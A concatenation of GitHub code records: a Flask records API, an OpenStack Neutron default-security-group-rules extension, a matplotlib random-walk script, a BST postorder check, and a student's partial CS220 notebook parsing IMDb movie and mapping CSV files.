get_order_gender, get_order_reverse_lastname, get_flist\napp = Flask(__name__)\napi = Api(app)\n\n###################################################\n#VARIABLES\n###################################################\n\n#FUNCTIONS\nclass Records(Resource):\n\tdef post(self):\n\n\t\tuserpost = request.data.decode('utf-8')\n\n\t\t#check if request was empty\n\t\tif userpost == \"\":\n\t\t\treturn(\"REQUEST WAS EMPTY.... EXPECTING: LASTNAME | FIRSTNAME | GENDER | FAVORITE COLOR | DOB\")\n\n\t\t#check if request was in proper format\n\t\telif not re.search(r'[ ,|]+', userpost):\n\t\t\treturn(\"NOT USING PROPER DELIMITERS: | , \")\n\t\t#finally lets see if the fields are okay\n\t\ttry:\n\t\t\tprocess_input(userpost)\n\t\texcept:\n\t\t\treturn(\"FAILED TO PROCESS RECORD... EXPECTING: LASTNAME | FIRSTNAME | GENDER | FAVORITE COLOR | MM/DD/YYYY\")\n\t\treturn(\"SUCCESS\")\n\n\nclass OrderByGender(Resource):\n\tdef get(self):\n\t\treturn Response(json.dumps(get_order_gender(), indent=4))\n\nclass OrderByDOB(Resource):\n\tdef get(self):\n\t\treturn Response(json.dumps(get_order_dob(), indent=4))\n\nclass OrderByReverseLastName(Resource):\n\tdef get(self):\n\t\treturn Response(json.dumps(get_order_reverse_lastname(), indent=4))\n\n###################################################\n#ROUTES\n###################################################\napi.add_resource(Records, '/records')\napi.add_resource(OrderByGender, '/records/gender')\napi.add_resource(OrderByDOB, '/records/birthdate')\napi.add_resource(OrderByReverseLastName, '/records/name')","repo_name":"mrthoma/GuaranteedRateHomeWork","sub_path":"rest_ingest.py","file_name":"rest_ingest.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8671642021","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport abc\n\nfrom neutron_lib.api import converters\nfrom neutron_lib.api import extensions as api_extensions\nfrom neutron_lib.db import constants as db_const\nfrom neutron_lib import exceptions\nfrom neutron_lib.plugins import directory\n\nfrom neutron._i18n import _\nfrom neutron.api import extensions\nfrom neutron.api.v2 import base\nfrom neutron.extensions import securitygroup\nfrom neutron.extensions import standardattrdescription as stdattr_ext\n\n\nPARENT_SG = 'PARENT'\n\n\nclass DefaultSecurityGroupRuleNotFound(exceptions.NotFound):\n message = _(\"Default Security Group rule %(id)s does not exist\")\n\n\nclass DefaultSecurityGroupRuleExists(exceptions.InUse):\n message = _(\"Default Security group rule already exists. \"\n \"Rule id is %(rule_id)s.\")\n\n\nclass DuplicateDefaultSgRuleInPost(exceptions.InUse):\n message = _(\"Duplicate Default Security Group Rule in POST.\")\n\n\n# TODO(slaweq): rehome API definition to neutron-lib together with\n# securitygroup API definition\n\nALIAS = 'security-groups-default-rules'\nIS_SHIM_EXTENSION = False\nIS_STANDARD_ATTR_EXTENSION = False\nNAME = 'Default rules for security groups'\nDESCRIPTION = (\n 'Configure set of security group rules used as default rules '\n 'for every new security group')\nUPDATED_TIMESTAMP = '2022-12-19T10:00:00-00:00'\n\nRESOURCE_NAME = 'default_security_group_rule'\nCOLLECTION_NAME = 'default_security_group_rules'\n\nRESOURCE_ATTRIBUTE_MAP = {\n COLLECTION_NAME: {\n 'id': {\n 'allow_post': False, 'allow_put': False,\n 'validate': {'type:uuid': None},\n 'is_visible': True,\n 'is_filter': True,\n 'is_sort_key': True,\n 'primary_key': True},\n 'tenant_id': {\n 'allow_post': True, 'allow_put': False,\n 'required_by_policy': True,\n 'is_sort_key': False,\n 'validate': {'type:string': db_const.PROJECT_ID_FIELD_SIZE},\n 'is_visible': False, 'is_filter': False},\n 'description': {\n 'allow_post': True, 'allow_put': False, 'default': '',\n 'validate': {'type:string': db_const.LONG_DESCRIPTION_FIELD_SIZE},\n 'is_filter': True, 'is_sort_key': False, 'is_visible': True},\n 'remote_group_id': {\n 'allow_post': True, 'allow_put': False,\n 'default': None, 'is_visible': True,\n 'is_sort_key': True, 'is_filter': True},\n 'remote_address_group_id': {\n 'allow_post': True, 'allow_put': False,\n 'default': None, 'is_visible': True,\n 'is_sort_key': True, 'is_filter': True},\n 'direction': {\n 'allow_post': True, 'allow_put': False,\n 'is_visible': True, 'is_filter': True,\n 'is_sort_key': True,\n 'validate': {'type:values': ['ingress', 'egress']}},\n 'protocol': {\n 'allow_post': True, 'allow_put': False,\n 'is_visible': True, 'default': None,\n 'is_sort_key': True, 'is_filter': True,\n 'convert_to': securitygroup.convert_protocol},\n 'port_range_min': {\n 'allow_post': True, 'allow_put': False,\n 'convert_to': securitygroup.convert_validate_port_value,\n 'default': None, 'is_visible': True,\n 'is_sort_key': True, 'is_filter': True},\n 'port_range_max': {\n 'allow_post': True, 'allow_put': False,\n 'convert_to': securitygroup.convert_validate_port_value,\n 'default': None, 'is_visible': True,\n 'is_sort_key': True, 'is_filter': True},\n 'ethertype': {\n 'allow_post': True, 'allow_put': False,\n 'is_visible': True, 'default': 'IPv4',\n 'is_filter': True, 'is_sort_key': True,\n 'convert_to': securitygroup.convert_ethertype_to_case_insensitive,\n 'validate': {\n 'type:values': securitygroup.sg_supported_ethertypes}},\n 'remote_ip_prefix': {\n 'allow_post': True, 'allow_put': False,\n 'default': None, 'is_visible': True,\n 'is_sort_key': True, 'is_filter': True,\n 'convert_to': securitygroup.convert_ip_prefix_to_cidr},\n 'used_in_default_sg': {\n 'allow_post': True, 'allow_put': False,\n 'convert_to': converters.convert_to_boolean,\n 'is_visible': True, 'is_filter': True},\n 'used_in_non_default_sg': {\n 'allow_post': True, 'allow_put': False,\n 'convert_to': converters.convert_to_boolean,\n 'is_visible': True, 'is_filter': True},\n }\n}\n\nSUB_RESOURCE_ATTRIBUTE_MAP = None\n\nACTION_MAP = {\n}\n\nACTION_STATUS = {\n}\n\nREQUIRED_EXTENSIONS = [\n 'security-group', stdattr_ext.Standardattrdescription.get_alias()\n]\n\nOPTIONAL_EXTENSIONS = [\n]\n\n\nclass Security_groups_default_rules(api_extensions.ExtensionDescriptor):\n \"\"\"Security group default rules template extension.\"\"\"\n\n @classmethod\n def get_name(cls):\n return NAME\n\n @classmethod\n def get_alias(cls):\n return ALIAS\n\n @classmethod\n def get_description(cls):\n return DESCRIPTION\n\n @classmethod\n def get_updated(cls):\n return UPDATED_TIMESTAMP\n\n @classmethod\n def get_resources(cls):\n \"\"\"Returns Ext Resources.\"\"\"\n plugin = directory.get_plugin()\n collection_name = COLLECTION_NAME.replace('_', '-')\n params = RESOURCE_ATTRIBUTE_MAP.get(COLLECTION_NAME, dict())\n controller = base.create_resource(COLLECTION_NAME,\n RESOURCE_NAME,\n plugin, params,\n allow_pagination=True,\n allow_sorting=True)\n\n ex = extensions.ResourceExtension(collection_name, controller,\n attr_map=params)\n\n return [ex]\n\n\nclass SecurityGroupDefaultRulesPluginBase(object, metaclass=abc.ABCMeta):\n\n @abc.abstractmethod\n def create_default_security_group_rule(self, context, sg_rule_template):\n pass\n\n @abc.abstractmethod\n def delete_default_security_group_rule(self, context, sg_rule_template_id):\n pass\n\n @abc.abstractmethod\n def get_default_security_group_rules(self, context, filters=None,\n fields=None, sorts=None, limit=None,\n marker=None, page_reverse=False):\n pass\n\n @abc.abstractmethod\n def get_default_security_group_rule(self, context, sg_rule_template_id,\n fields=None):\n pass\n","repo_name":"openstack/neutron","sub_path":"neutron/extensions/security_groups_default_rules.py","file_name":"security_groups_default_rules.py","file_ext":"py","file_size_in_byte":7172,"program_lang":"python","lang":"en","doc_type":"code","stars":1353,"dataset":"github-code","pt":"72"} +{"seq_id":"3041105999","text":"# 随机漫步\nimport matplotlib.pyplot as plt\nfrom random_walk import RandomWalk\nimport time\n\nwhile True:\n\n rw = RandomWalk()\n rw.fill_walk()\n plt.scatter(rw.x, rw.y, s=15)\n plt.rcParams['font.sans-serif'] = ['DengXian'] # 用来正常显示中文标签\n plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号\n\n plt.title(\"强总姿势\", fontsize=24)\n plt.xlabel(\"大保健位置\", fontsize=14)\n plt.ylabel(\"按摩次数\", fontsize=14)\n\n plt.show()\n\n time.sleep(3)\n","repo_name":"nayyang/nanoha-python","sub_path":"p/draw/random/rw_visual.py","file_name":"rw_visual.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"620840454","text":"'''\n输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历结果。如果是则返回 true,否则返回 false。假设输入的数组的任意两个数字都互不相同。\n参考以下这颗二叉搜索树:\n 5\n / \\\n 2 6\n / \\\n 1 3\n示例 1:\n输入: [1,6,3,2,5]\n输出: false\n示例 2:\n输入: [1,3,2,6,5]\n输出: true\n'''\n\n\nclass Solution:\n\n def verifyPostorder(self, postorder):\n if not postorder: return False\n return self.check(postorder, 0, len(postorder)-1)\n\n def check(self, postorder, first, last):\n if last - first <= 1:\n return True\n root = postorder[last]\n index = first\n while first < last and postorder[index] < root:\n index += 1\n for i in range(index, last):\n if postorder[i] < root:\n return False\n return self.check(postorder, index, last-1) and self.check(postorder, first, index-1)\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.verifyPostorder([1,6,3,2,5]))","repo_name":"jacsice/leetcode","sub_path":"offer/二叉搜索树的后续遍历序列.py","file_name":"二叉搜索树的后续遍历序列.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29856492048","text":"# ---\r\n# jupyter:\r\n# jupytext:\r\n# text_representation:\r\n# extension: .py\r\n# format_name: light\r\n# format_version: '1.5'\r\n# jupytext_version: 1.14.4\r\n# kernelspec:\r\n# display_name: Python 3 (ipykernel)\r\n# language: python\r\n# name: python3\r\n# ---\r\n\r\n# + [code] deletable=false editable=false\r\nimport otter\r\n# nb_name should be the name of your notebook without the .ipynb extension\r\nnb_name = \"p8\"\r\npy_filename = nb_name + \".py\"\r\ngrader = otter.Notebook(nb_name + \".ipynb\")\r\n\r\n# + deletable=false\r\nimport p8_test\r\n\r\n# +\r\n# PLEASE FILL IN THE DETAILS\r\n# Enter none if you don't have a project partner\r\n# You will have to add your partner as a group member on Gradescope even after you fill this\r\n\r\n# project: p8\r\n# submitter: khamesra\r\n# partner: Sid Valecha\r\n\r\n# + [markdown] deletable=false editable=false\r\n# # Project 8: Going to the Movies\r\n\r\n# + [markdown] deletable=false editable=false\r\n# ## Learning Objectives:\r\n#\r\n# In this project, you will demonstrate how to:\r\n#\r\n# * integrate relevant information from various sources (e.g. multiple csv files),\r\n# * build appropriate data structures for organized and informative presentation (e.g. list of dictionaries),\r\n# * practice good coding style.\r\n#\r\n# Please go through [Lab-P8](https://git.doit.wisc.edu/cdis/cs/courses/cs220/cs220-s23-projects/-/tree/main/lab-p8) before working on this project. The lab introduces some useful techniques related to this project.\r\n\r\n# + [markdown] deletable=false editable=false\r\n#

    Warning (Note on Academic Misconduct):

    \r\n#\r\n# **IMPORTANT**: P8 and P9 are two parts of the same data analysis. You **cannot** switch project partners between these two projects. That is if you partner up with someone for P8, you have to sustain that partnership until the end of P9. Now may be a good time to review [our course policies](https://cs220.cs.wisc.edu/s23/syllabus.html).\r\n\r\n# + [markdown] deletable=false editable=false\r\n# ## Testing your code:\r\n#\r\n# Along with this notebook, you must have downloaded the file `p8_test.py`. If you are curious about how we test your code, you can explore this file, and specifically the value of the variable `expected_json`, to understand the expected answers to the questions.\r\n\r\n# + [markdown] deletable=false editable=false\r\n# ## Introduction:\r\n#\r\n# In this project and the next, we will be working on the [IMDb Movies Dataset](https://www.imdb.com/interfaces/). We will use Python to discover some cool facts about our favorite movies, cast, and directors.\r\n#\r\n# In this project, you will combine the data from the movie and mapping files into a more useful format.\r\n# Start by downloading the following files: `p8_test.py`, `small_mapping.csv`, `small_movies.csv`, `mapping.csv`, and `movies.csv`.\r\n\r\n# + [markdown] deletable=false editable=false\r\n# ## The Data:\r\n#\r\n# Open `movies.csv` and `mapping.csv` in any spreadsheet viewer, and see what the data looks like.\r\n# `movies.csv` has ~200,000 rows and `mapping.csv` has ~610,000 rows. These files store information about **every** movie on the IMDb dataset which was released in the US. These datasets are **very** large when compared to `small_movies.csv` and `small_mapping.csv` from [Lab-P8](https://git.doit.wisc.edu/cdis/cs/courses/cs220/cs220-s23-projects/-/tree/main/lab-p8), but the data is stored in the **same format**. For a description of the datasets, please refer back to [Lab-P8](https://git.doit.wisc.edu/cdis/cs/courses/cs220/cs220-s23-projects/-/tree/main/lab-p8).\r\n#\r\n# Before we start working with these very large datasets, let us start with the much smaller datasets, `small_movies.csv` and `small_mapping.csv` from Lab-P8. In the latter half of P8 and in P9, you will be working with `movies.csv` and `mapping.csv`. Since the files `movies.csv` and `mapping.csv` are large, some of the functions you write in P8 and P9 **may take a while to execute**. You do not have to panic if a single cell takes between 5 to 10 seconds to run. If any cell takes significantly longer, follow the recommendations below:\r\n#\r\n# - **Do not** call **slow functions** multiple times within a loop.\r\n# - **Do not** call functions that **iterate over the entire dataset within a loop**; instead, call the function before the loop and store the result in a variable.\r\n# - **Do not** compute quantities **inside a loop** if it can be computed outside the loop; for example, if you want to calculate the average of a list, you should use the loop to find the numerator and denominator but divide **once** after the loop ends instead of inside the loop.\r\n\r\n# + [markdown] deletable=false editable=false\r\n# ## Project Requirements:\r\n#\r\n# You **may not** hardcode indices in your code, unless the question explicitly asks you to do so. If you open your `.csv` files with Excel, manually count through the rows and use this number to loop through the dataset, this is also considered as hardcoding. If any instances of hardcoding are found during code review, the Gradescope autograder will **deduct** points from your public score.\r\n#\r\n# **Store** your final answer for each question in the **variable specified for each question**. This step is important because Otter grades your work by comparing the value of this variable against the correct answer.\r\n#\r\n# For some of the questions, we'll ask you to write (then use) a function to compute the answer. If you compute the answer **without** creating the function we ask you to write, the Gradescope autograder will **deduct** points from your public score, even if the way you did it produced the correct answer.\r\n#\r\n# Required Functions:\r\n# - `get_mapping`\r\n# - `get_raw_movies`\r\n# - `get_movies`\r\n# - `find_specific_movies`\r\n# - `bucketize_by_genre`\r\n#\r\n# In this project, you will also be required to define certain **data structures**. If you do not create these data structures exactly as specified, the Gradescope autograder will **deduct** points from your public score, even if the way you did it produced the correct answer.\r\n#\r\n# Required Data Structures:\r\n# - `small_movies`\r\n# - `movies`\r\n# - `genre_dict`\r\n#\r\n# You are only allowed to define these data structures **once** and the Gradescope autograder will **deduct** points from your public score if you redefine the values of these variables.\r\n#\r\n# In this project (and the next), you will be asked to create **lists** of movies. For all such questions, **unless it is explicitly mentioned otherwise**, the movies should be in the **same order** as in the `movies.csv` (or `small_movies.csv`) file. Similarly, for each movie, the **list** of `genres`, `directors`, and `cast` members should always be in the **same order** as in the `movies.csv` (or `small_movies.csv`) file.\r\n#\r\n# Students are only allowed to use Python commands and concepts that have been taught in the course prior to the release of P8. Therefore, you should not use the pandas module. the Gradescope autograder will **deduct** points from your public score otherwise.\r\n#\r\n# In addition, you are also **required** to follow the requirements below:\r\n# - **Do not use the method `csv.DictReader` for P8**. Although the required output can be obtained using this method, one of the learning outcomes of this project is to demonstrate your ability to build dictionaries with your own code. \r\n# - Additional import statements beyond those that are stated in the directions are not allowed. For this project, we allow you to use `csv` and `copy` packages (that is, you can use the `import csv` and `import copy` statements in your submission). You should not use concepts / modules that are yet to be covered in this course; for example: you should not use modules like `pandas`.\r\n#\r\n# The Gradescope autograder will **deduct** points accordingly, if you don't follow the provided directions.\r\n#\r\n# For more details on what will cause you to lose points during code review and specific requirements, please take a look at the [Grading rubric](https://git.doit.wisc.edu/cdis/cs/courses/cs220/cs220-s23-projects/-/blob/main/p8/rubric.md).\r\n\r\n# + [markdown] deletable=false editable=false\r\n# ## Questions and Functions:\r\n#\r\n# Let us start by importing all the modules we will need for this project.\r\n#\r\n#\r\n\r\n# + tags=[]\r\n# it is considered a good coding practice to place all import statements at the top of the notebook\r\n# please place all your import statements in this cell if you need to import any more modules for this project\r\nimport csv\r\nimport copy\r\n\r\n\r\n# + [markdown] deletable=false editable=false\r\n# ### Function 1: `get_mapping(path)`\r\n#\r\n# We require you to complete the below function to answer the next several questions (this is a **requirement**, and you will **lose points** if you do not implement this function). You may copy/paste code from your lab-p8 notebook to finish this function.\r\n\r\n# + tags=[]\r\ndef get_mapping(path):\r\n \"\"\"\r\n get_mapping(path) converts a mapping csv in 'path' \r\n into a dict with keys as IDs and values as names\r\n \"\"\"\r\n # replace with your code\r\n# TODO: process path\r\n def process_csv(filename):\r\n example_file = open(filename, encoding=\"utf-8\")\r\n example_reader = csv.reader(example_file)\r\n example_data = list(example_reader)\r\n example_file.close()\r\n return example_data\r\n process_path = process_csv(path)\r\n# TODO: create a dictionary \r\n mapping_dict = {}\r\n# TODO: iterate through each row of processed path\r\n for value in range(len(process_path)):\r\n mapping_dict[process_path[value][0]] = process_path[value][1]\r\n return mapping_dict\r\n# TODO: map value in first column (ID) to value in second column (name/title)\r\n\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 1:** What is returned by `get_mapping(\"small_mapping.csv\")`?\r\n#\r\n# Your output **must** be a **dictionary** which maps the *IDs* in `small_mapping.csv` to *names*.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'small_mapping', then display it\r\nsmall_mapping = get_mapping(\"small_mapping.csv\")\r\nsmall_mapping\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q1\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 2:** What is the **value** associated with the **key** *nm0503567*?\r\n#\r\n# Your output **must** be a **string**. You **must** use the variable `small_mapping` defined above to answer this question. You **must** not call the function `get_mapping` again on this dataset.\r\n\r\n# + tags=[]\r\n# access and store the answer in the variable 'nm0503567_value', then display it\r\nnm0503567_value = None\r\nfor idx in small_mapping :\r\n if idx == \"nm0503567\":\r\n nm0503567_value = small_mapping[idx]\r\n else :\r\n continue\r\n\r\nnm0503567_value \r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q2\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 3:** What are the **values** associated with **keys** that **begin** with *nm*?\r\n#\r\n# Your output **must** be a **list** of **strings**. You **must** find **only** the values of the keys that **begin** with *nm*, and **not** the keys that contain *nm*.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'nm_values', then display it\r\nnm_values = []\r\nidx = None\r\nfor idx in small_mapping:\r\n initials_nm = idx[0:2]\r\n if initials_nm == \"nm\":\r\n nm_values.append(small_mapping[idx])\r\n \r\nnm_values \r\n \r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q3\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 4:** Find the **keys** of the people (keys **beginning** with *nm*) whose **last name** is *Jones*.\r\n#\r\n# Your output **must** be a **list** of **string(s)**.\r\n#\r\n# **Requirements:** Your **code** must be robust and satisfy all the requirements, even if you were to run this on a larger dataset (such as `mapping.csv`). In particular:\r\n# 1. You will **lose points** if your code would find people whose **first** name or **middle** name is *Jones* (e.g. *Jones Leanardo*, *Carson Jones Daly*).\r\n# 2. You will **lose points** if your code would find people whose **last** name contains *Jones* as a **substring** (e.g. *Catherine Zeta-Jones*). The name should be **exactly** *Jones*. \r\n# 3. You will **lose points** if your code would find any **movie titles** (e.g. *Jasper Jones*).\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'nm_jones', then display it\r\nnm_jones = []\r\nfor idx in small_mapping:\r\n initials_nm = idx[0:2]\r\n if initials_nm == \"nm\" and \"Jones\" in small_mapping[idx]:\r\n nm_jones.append(idx)\r\nnm_jones\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q4\")\r\n\r\n\r\n# + [markdown] deletable=false editable=false\r\n# #### Now, let's move on to reading the movie files!\r\n\r\n# + [markdown] deletable=false editable=false\r\n# ### Function 2: `get_raw_movies(path)`\r\n#\r\n# We require you to complete the below function to answer the next several questions (this is a **requirement**, and you will **lose points** if you do not implement this function).\r\n#\r\n# This function **must** return a **list** of **dictionaries**, where each **dictionary** is of the following format:\r\n#\r\n# ```python\r\n# {\r\n# 'title': ,\r\n# 'year': ,\r\n# 'duration': ,\r\n# 'genres': [, , ...],\r\n# 'rating': ,\r\n# 'directors': [, , ...],\r\n# 'cast': [, , ....]\r\n# }\r\n# ```\r\n#\r\n# Here is an example:\r\n#\r\n# ```python\r\n# {\r\n# 'title': 'tt0033313',\r\n# 'year': 1941,\r\n# 'duration': 59,\r\n# 'genres': ['Western'],\r\n# 'rating': 5.2,\r\n# 'directors': ['nm0496505'],\r\n# 'cast': ['nm0193318', 'nm0254381', 'nm0279961', 'nm0910294', 'nm0852305']\r\n# }\r\n# ```\r\n#\r\n# You may copy/paste code from your lab-p8 notebook to finish this function.\r\n# -\r\n\r\ndef process_csv(filename):\r\n example_file = open(filename, encoding=\"utf-8\")\r\n example_reader = csv.reader(example_file)\r\n example_data = list(example_reader)\r\n example_file.close() \r\n return example_data\r\n\r\n\r\n# + tags=[]\r\ndef get_raw_movies(path):\r\n \"\"\"\r\n get_raw_movies(path) converts a movies csv in 'path' \r\n into a list of dicts with column names as keys and\r\n the corresponding type converted values as the values\r\n \"\"\"\r\n # replace with your code\r\n file_data = process_csv(path)\r\n csv_header = file_data[0]\r\n csv_rows = file_data[1:]\r\n raw_movies_list = []\r\n for idx in range(len(csv_rows)):\r\n first_movie = {} \r\n first_movie[\"title\"] = csv_rows[idx][csv_header.index(\"title\")] \r\n first_movie[\"year\"] = int(csv_rows[idx][csv_header.index(\"year\")])\r\n first_movie[\"duration\"] = int(csv_rows[idx][csv_header.index(\"duration\")])\r\n genre_list = [csv_rows[idx][csv_header.index(\"genres\")]]\r\n first_movie[\"genres\"] = genre_list[0].split(\", \")\r\n first_movie[\"rating\"] = float(csv_rows[idx][csv_header.index(\"rating\")])\r\n director_list = [csv_rows[idx][csv_header.index(\"directors\")]]\r\n first_movie[\"directors\"] = director_list[0].split(\", \")\r\n cast_list= [str(csv_rows[idx][csv_header.index(\"cast\")])]\r\n first_movie[\"cast\"] = cast_list[0].split(\", \")\r\n raw_movies_list.append(first_movie)\r\n return raw_movies_list\r\n \r\n\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 5:** What is returned by `get_raw_movies(\"small_movies.csv\")`?\r\n#\r\n# Your output **must** be a **list** of **dictionaries** where each dictionary contains information about a movie.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'raw_small_movies', then display it\r\nraw_small_movies = get_raw_movies(\"small_movies.csv\")\r\nraw_small_movies\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q5\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# If your answer looks correct, but does not pass `grader.check`, make sure that the **datatypes** are all correct. Also make sure that the **directors** and **cast** are in the **same order** as in `small_movies.csv`.\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 6:** How **many** cast members does the **first** movie have?\r\n#\r\n# Your output **must** be an **int**. You **must** use the variable `raw_small_movies` defined above to answer this question. You **must** not call the function `get_raw_movies` again on this dataset.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'num_cast_first_movie', then display it\r\nfirst_movie = raw_small_movies[0]\r\nnum_cast_first_movie = len(first_movie[\"cast\"])\r\nnum_cast_first_movie\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q6\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 7:** What is the *ID* of the **first** cast member listed for the **first** movie of the dataset?\r\n#\r\n# Your output **must** be a **string**.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'first_actor_id_first_movie', then display it\r\nfirst_cast = first_movie[\"cast\"]\r\nfirst_actor_id_first_movie = first_cast[0]\r\nfirst_actor_id_first_movie\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q7\")\r\n\r\n\r\n# + [markdown] deletable=false editable=false\r\n# ### Function 3: `get_movies(movies_path, mapping_path)`\r\n#\r\n# We require you to complete the below function to answer the next several questions (this is a **requirement**, and you will **lose points** if you do not implement this function).\r\n#\r\n#\r\n# This function **must** return a **list** of **dictionaries**, where each **dictionary** is of the following format:\r\n#\r\n# ```python\r\n# {\r\n# 'title': \"the movie name\",\r\n# 'year': ,\r\n# 'duration': ,\r\n# 'genres': [, , ...],\r\n# 'rating': ,\r\n# 'directors': [\"director-name1\", \"director-name2\", ...],\r\n# 'cast': [\"actor-name1\", \"actor-name2\", ....]\r\n# }\r\n# ```\r\n#\r\n# Here is an example:\r\n#\r\n# ```python\r\n# {\r\n# 'title': 'Across the Sierras',\r\n# 'year': 1941,\r\n# 'duration': 59,\r\n# 'genres': ['Western'],\r\n# 'rating': 5.2,\r\n# 'directors': ['D. Ross Lederman'],\r\n# 'cast': ['Dick Curtis', 'Bill Elliott', 'Richard Fiske', 'Luana Walters', 'Dub Taylor']\r\n# }\r\n# ```\r\n#\r\n# You may copy/paste code from your lab-p8 notebook to finish this function.\r\n\r\n# + tags=[]\r\ndef get_movies(movies_path, mapping_path):\r\n \"\"\"\r\n get_movies(movies_path, mapping_path) converts a movies csv in 'movies_path' \r\n into a list of dicts with column names as keys and the corresponding \r\n type converted values as the values; then uses the mapping csv in 'mapping_path'\r\n to replace the IDs of the titles, cast, and directors into actual names\r\n \"\"\"\r\n mapping_paths = get_mapping(mapping_path)\r\n movie_names = get_raw_movies(movies_path)\r\n for i in range(len(movie_names)):\r\n movie_title_code = movie_names[i][\"title\"]\r\n movie_title = mapping_paths[movie_title_code]\r\n movie_names[i][\"title\"] = movie_title\r\n movie_dir_list = movie_names[i][\"directors\"]\r\n for j in range(len(movie_dir_list)):\r\n director_code = movie_dir_list[j]\r\n director_name = mapping_paths[director_code]\r\n movie_dir_list[j] = director_name\r\n movie_names[i][\"directors\"] = movie_dir_list\r\n movie_cast_list = movie_names[i][\"cast\"]\r\n for k in range(len(movie_cast_list)):\r\n cast_code = movie_cast_list[k]\r\n cast_name = mapping_paths[cast_code]\r\n movie_cast_list[k] = cast_name\r\n movie_names[i][\"cast\"] = movie_cast_list\r\n return movie_names\r\n # replace this code\r\n # you are allowed to call get_mapping and get_raw_movies\r\n # on movies_path and mapping_path\r\n\r\n\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 8:** What is returned by `get_movies(\"small_movies.csv\", \"small_mapping.csv\")`?\r\n#\r\n# Your output **must** be a **list** of **dictionaries** where each dictionary contains information about a movie.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'small_movies_data', then display it\r\nsmall_movies_data = get_movies(\"small_movies.csv\", \"small_mapping.csv\")\r\nsmall_movies_data\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q8\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 9:** What is `title` of the **second** movie in `small_movies_data`?\r\n#\r\n# Your output **must** be a **string**. You **must** use the variable `small_movies_data` defined above to answer this question. You **must** not call the function `get_movies` again on this dataset.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'second_movie_title_small_movies', then display it\r\nsecond_movie_title_small_movies = str(small_movies_data[1][\"title\"])\r\nsecond_movie_title_small_movies\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q9\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 10:** Who are the `cast` members of the **second** movie in `small_movies_data`?\r\n#\r\n# Your output **must** be a **list** of **string(s)**.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'second_movie_cast_small_movies', then display it\r\nsecond_movie_cast_small_movies = small_movies_data[1][\"cast\"]\r\nsecond_movie_cast_small_movies\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q10\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 11:** Who are the `directors` of the **last** movie in `small_movies_data`?\r\n#\r\n# Your output **must** be a **list** of **string(s)**.\r\n\r\n# + tags=[]\r\n# compute and store the answer in the variable 'last_movie_directors_small_movies', then display it\r\nlast_movie_directors_small_movies = small_movies_data[-1][\"directors\"]\r\nlast_movie_directors_small_movies\r\n\r\n# + deletable=false editable=false\r\ngrader.check(\"q11\")\r\n\r\n# + [markdown] deletable=false editable=false\r\n# #### Now that you’ve made it this far, your functions must be working pretty well with small datasets. Next, let's try a much bigger dataset!\r\n#\r\n# Run the following code to open the full dataset:\r\n# -\r\n\r\nmovies = get_movies(\"movies.csv\", \"mapping.csv\")\r\nlen(movies)\r\n\r\n# + [markdown] deletable=false editable=false\r\n# As the files are very large, this cell is expected to take around ten seconds to run. If it takes much longer (say, around a minute), then you will **need** to **optimize** your `get_movies` function so it runs faster.\r\n#\r\n# **Warning**: You are **not** allowed to call `get_movies` more than once on the full dataset (`movies.csv` and `mapping.csv`) in your notebook. Instead, reuse the `movies` variable, which is more efficient. You will **lose points** during manual review if you call `get_movies` again on these files.\r\n#\r\n# **Warning:** Do **not** display the value of the variable `movies` **anywhere** in your notebook. It will take up a **lot** of space, and your **Gradescope code will not be displayed** for grading. So, you will receive **zero points** for p8. Instead you should verify `movies` has the correct value by looking at a small *slice* of the **list** as in the question below. \r\n\r\n# + [markdown] deletable=false editable=false\r\n# **Question 12:** What are the movies in `movies[20220:20230]`?\r\n#\r\n# Your answer should be a *list* of *dictionaries* that follows the format below:\r\n#\r\n# ```python\r\n# [{'title': 'Dark Rider',\r\n# 'year': 1991,\r\n# 'duration': 94,\r\n# 'genres': ['Action', 'Adventure', 'Crime'],\r\n# 